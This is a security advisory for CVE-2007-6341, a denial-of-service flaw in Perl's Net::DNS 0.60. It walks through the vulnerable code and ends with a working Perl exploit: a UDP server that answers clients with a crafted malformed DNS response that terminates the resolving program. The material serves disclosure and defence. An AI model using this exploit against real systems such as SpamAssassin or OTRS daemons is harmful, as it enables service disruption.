|
|
|
|
| |
Credit:
The information has been provided by beSTORM.
The original article can be found at: http://www.beyondsecurity.com/bestorm_overview.html
|
| |
Vulnerable Systems:
* Net::DNS version 0.60 build 654
It is possible to cause Net::DNS to "croak" by responding to it with a malformed DNS response.
The croak itself doesn't allow you to overflow or execute arbitrary code, but as it cannot be captured using normal Perl code - as with an eval() function for example - a user of the Net::DNS package can be caused to "crash", his program to forcefully terminate if it encounters this DNS response.
The problem steams from the fact that:
if ($self->{"rdlength"} > 0) {
$self->{"address"} = inet_ntoa(substr($$data, $offset, 4));
}
found in Net/DNS/RR/A.pm
Doesn't properly verify that $$data has 4 bytes to read before attempting to substr - which in turn causes the data sent to inet_ntoa to not have enough bytes which causes this code:
ip_address = SvPVbyte(ip_address_sv, addrlen);
if (addrlen == sizeof(addr) || addrlen == 4)
addr.s_addr =
(ip_address[0] & 0xFF) << 24 |
(ip_address[1] & 0xFF) << 16 |
(ip_address[2] & 0xFF) << 8 |
(ip_address[3] & 0xFF);
else
croak("Bad arg length for %s, length is %d, should be %d", "Socket::inet_ntoa", addrlen, sizeof(addr));
To issue a "croak" - causing the perl to abort.
Severity:
The vulnerability itself doesn't pose any problem as Socket::inet_ntoa handles it as expected, seriousness of this vulnerability is caused by the fact that several other packages such as SpamAssassin and OTRS rely on Net::DNS for resolving hostnames - this could at the very least be a nuisance where an attacker can crash the daemons run by these two programs.
Vendor status:
We have reported this issue to Net::DNS 6 weeks ago: Security issue with Net::DNS::Resolver, but no response has been received.
CVE Information:
CVE-2007-6341
Exploit:
#!/usr/bin/perl
# Beyond Security(c)
# Vulnerability found by beSTORM - DNS Server module
use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5351;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp') or die "socket: $@";
print "Awaiting UDP messages on port $PORTNO\n";
my $oldmsg = "\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61".
"\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03".
"\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79".
"\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00".
"\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62".
"\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f".
"\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03".
"\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69".
"\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e".
"\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01".
"\x00\x01\x00\x00\x00\x01\x00\x01\x41";
while ($sock->recv($newmsg, $MAXLEN)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
$hishost = gethostbyaddr($ipaddr, AF_INET);
print "Client $hishost said ``$newmsg''\n";
$sock->send($oldmsg);
$oldmsg = "[$hishost] $newmsg";
}
die "recv: $!";
|
|
|
|
|